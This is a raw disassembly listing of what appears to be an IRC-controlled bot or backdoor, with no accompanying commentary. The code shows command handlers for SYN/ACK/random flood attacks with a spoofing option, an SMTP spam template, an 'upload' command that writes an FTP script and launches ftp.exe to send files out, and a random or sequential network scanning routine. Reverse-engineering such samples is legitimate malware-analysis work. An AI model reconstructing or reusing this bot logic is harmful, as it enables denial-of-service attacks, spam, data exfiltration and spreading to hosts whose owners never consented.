		push	offset dword_42BBEC
		push	[ebp+esi+var_7C]
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CB5B4
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CB6C8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CB6C4
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB644
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5EC
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB65C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CB694
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB65C
		push	esi
		call	dword_4CB6DC
		call	dword_4CB59C
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42B0C8


loc_406CD0:				; CODE XREF: sub_401ACD+2E83j
					; sub_401ACD+4667j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886


loc_406CDC:				; CODE XREF: sub_401ACD+248Cj
		add	esp, 0Ch


loc_406CDF:				; CODE XREF: sub_401ACD+4585j
					; sub_401ACD+6654j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406D00
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_406D00:				; CODE XREF: sub_401ACD+29B3j
					; sub_401ACD+2A06j ...
		mov	esi, [ebp+arg_24]


loc_406D03:				; CODE XREF: sub_401ACD+68F3j
					; sub_401ACD+78E3j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_406D17:				; CODE XREF: sub_401ACD+50ADj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D41
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E9


loc_406D41:				; CODE XREF: sub_401ACD+525Bj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DC
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406D6F:				; CODE XREF: sub_401ACD+507Fj
					; sub_401ACD+5096j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD4
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD4
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD4
		push	offset unk_42B080
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_406DD4:				; CODE XREF: sub_401ACD+52CDj
					; sub_401ACD+52E4j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406F00
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E71
		mov	eax, offset aNormal ; "Normal"


loc_406E71:				; CODE XREF: sub_401ACD+539Dj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42B03C
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset word_413E36
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_406EEF


loc_406ED9:				; CODE XREF: sub_401ACD+5420j
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_406ED9
; ---------------------------------------------------------------------------


loc_406EEF:				; CODE XREF: sub_401ACD+540Aj
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42B004
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_406F00:				; CODE XREF: sub_401ACD+5318j
		push	offset unk_42AFCC


loc_406F05:				; CODE XREF: sub_401ACD+2019j
					; sub_401ACD+202Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_406F18:				; CODE XREF: sub_401ACD+503Aj
					; sub_401ACD+5051j ...
		cmp	dword_4CB734, ebx
		jnz	loc_407027
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42AF84
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset byte_413285
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_407016


loc_407000:				; CODE XREF: sub_401ACD+5547j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_407000
; ---------------------------------------------------------------------------


loc_407016:				; CODE XREF: sub_401ACD+5531j
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42AF4C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_407027:				; CODE XREF: sub_401ACD+5451j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408289
; ---------------------------------------------------------------------------


loc_407042:				; CODE XREF: sub_401ACD+500Cj
					; sub_401ACD+5023j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42AEF8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713C


loc_4070C5:				; CODE XREF: sub_401ACD+561Cj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A5
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070ED
		cmp	eax, ebx
		jnz	short loc_40710C
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C5
		jmp	short loc_407145
; ---------------------------------------------------------------------------


loc_4070ED:				; CODE XREF: sub_401ACD+560Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AEC0


loc_4070F6:				; CODE XREF: sub_401ACD+5681j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4072E9
; ---------------------------------------------------------------------------


loc_40710C:				; CODE XREF: sub_401ACD+5611j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AE8C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h


loc_40713C:				; CODE XREF: sub_401ACD+55F6j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E9


loc_407145:				; CODE XREF: sub_401ACD+561Ej
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AE58
		jmp	short loc_4070F6
; ---------------------------------------------------------------------------


loc_407150:				; CODE XREF: sub_401ACD+4FC7j
					; sub_401ACD+4FDEj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B5
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BB
; ---------------------------------------------------------------------------


loc_4071B5:				; CODE XREF: sub_401ACD+56D7j
		mov	[ebp+var_C70], ebx


loc_4071BB:				; CODE XREF: sub_401ACD+56E6j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42AE10
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset byte_413411
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_40725E


loc_40724C:				; CODE XREF: sub_401ACD+578Fj
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407279
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_40724C
; ---------------------------------------------------------------------------


loc_40725E:				; CODE XREF: sub_401ACD+577Dj
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42ADD8


loc_40726A:				; CODE XREF: sub_401ACD+4E32j
					; sub_401ACD+62BFj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_407279:				; CODE XREF: sub_401ACD+4E16j
					; sub_401ACD+5785j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		push	[ebp+var_4]


loc_407286:				; CODE XREF: sub_401ACD+22DFj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A9
; ---------------------------------------------------------------------------


loc_407299:				; CODE XREF: sub_401ACD+4F99j
					; sub_401ACD+4FB0j
		push	0Bh
		call	sub_40B33F
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407455
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AD98
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h


loc_4072E9:				; CODE XREF: sub_401ACD+526Ej
					; sub_401ACD+563Aj ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855
		push	4
		push	esi
		call	sub_416909
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407325
		push	esi
		push	offset unk_42AD70
		jmp	loc_408CDC
; ---------------------------------------------------------------------------


loc_407325:				; CODE XREF: sub_401ACD+584Bj
		nop
		call	near ptr 26B07C3h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB5B0
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F4
		push	offset unk_42AD00
		jmp	short loc_4073F9
; ---------------------------------------------------------------------------


loc_4073F4:				; CODE XREF: sub_401ACD+591Ej
		push	offset unk_42ACD0


loc_4073F9:				; CODE XREF: sub_401ACD+5925j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407422
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_407422:				; CODE XREF: sub_401ACD+5937j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD


loc_40742E:				; CODE XREF: sub_401ACD+5986j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416909
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742E
; ---------------------------------------------------------------------------


loc_407455:				; CODE XREF: sub_401ACD+57E6j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748E
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_40748E:				; CODE XREF: sub_401ACD+59B6j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749B
		mov	[ebp+var_36C], ecx


loc_40749B:				; CODE XREF: sub_401ACD+59C6j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BD
		mov	[ebp+var_368], eax


loc_4074BD:				; CODE XREF: sub_401ACD+59E8j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431AF0, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750C
		mov	edi, offset dword_431AF0


loc_4074D4:				; CODE XREF: sub_401ACD+5A21j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F2
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D4
		jmp	short loc_40750C
; ---------------------------------------------------------------------------


loc_4074F2:				; CODE XREF: sub_401ACD+5A17j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431AF0[ecx]
		mov	[ebp+var_370], ecx


loc_40750C:				; CODE XREF: sub_401ACD+5A00j
					; sub_401ACD+5A23j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751E
		push	offset unk_42AC9C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40751E:				; CODE XREF: sub_401ACD+5A45j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407559
		cmp	byte ptr [edi],	23h
		jz	short loc_407559
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407633
; ---------------------------------------------------------------------------


loc_407559:				; CODE XREF: sub_401ACD+5A5Aj
					; sub_401ACD+5A5Fj
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757B
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757B
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757B
		push	offset unk_42AC68
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40757B:				; CODE XREF: sub_401ACD+5A92j
					; sub_401ACD+5A9Aj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB5E8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB6D0
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762D
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407621


loc_4075FF:				; CODE XREF: sub_401ACD+5B52j
		cmp	eax, ebx
		jz	short loc_407621
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FF


loc_407621:				; CODE XREF: sub_401ACD+5B30j
					; sub_401ACD+5B34j
		mov	[ebp+var_344], 1
		jmp	short loc_407633
; ---------------------------------------------------------------------------


loc_40762D:				; CODE XREF: sub_401ACD+5B0Aj
		mov	[ebp+var_344], ebx


loc_407633:				; CODE XREF: sub_401ACD+5A87j
					; sub_401ACD+5B5Ej
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407684


loc_407671:				; CODE XREF: sub_401ACD+5BDAj
		push	esi


loc_407672:				; CODE XREF: sub_401ACD+5BC4j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AF
; ---------------------------------------------------------------------------


loc_407684:				; CODE XREF: sub_401ACD+5BA2j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407693
		cmp	byte ptr [eax],	23h
		jnz	short loc_407693
		push	eax
		jmp	short loc_407672
; ---------------------------------------------------------------------------


loc_407693:				; CODE XREF: sub_401ACD+5BBCj
					; sub_401ACD+5BC1j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D7F8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407671
		mov	[ebp+var_3F4], bl


loc_4076AF:				; CODE XREF: sub_401ACD+5BB5j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C1
		mov	eax, offset aSequential	; "Sequential"


loc_4076C1:				; CODE XREF: sub_401ACD+5BEDj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AC00
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33D
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_40774F


loc_407739:				; CODE XREF: sub_401ACD+5C80j
		cmp	[ebp+var_340], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_407739
; ---------------------------------------------------------------------------


loc_40774F:				; CODE XREF: sub_401ACD+5C6Aj
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42ABC8
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_407760:				; CODE XREF: sub_401ACD+4F6Bj
					; sub_401ACD+4F82j
		push	[ebp+arg_10]
		call	sub_40AAFA
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB6D0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AB78
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset word_40C75A
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_407855


loc_40783F:				; CODE XREF: sub_401ACD+5D86j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_40783F
; ---------------------------------------------------------------------------


loc_407855:				; CODE XREF: sub_401ACD+5D70j
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42AB3C
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407866:				; CODE XREF: sub_401ACD+4F2Ej
					; sub_401ACD+4F45j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E598[eax], bl
		jz	loc_409855
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42AB30
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E58C[eax]
		call	sub_409A73
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E380[eax], 73h
		jnz	loc_409855
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E598
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A36
; ---------------------------------------------------------------------------


loc_40795E:				; CODE XREF: sub_401ACD+4F00j
					; sub_401ACD+4F17j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E598[eax], bl
		jz	loc_409855
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
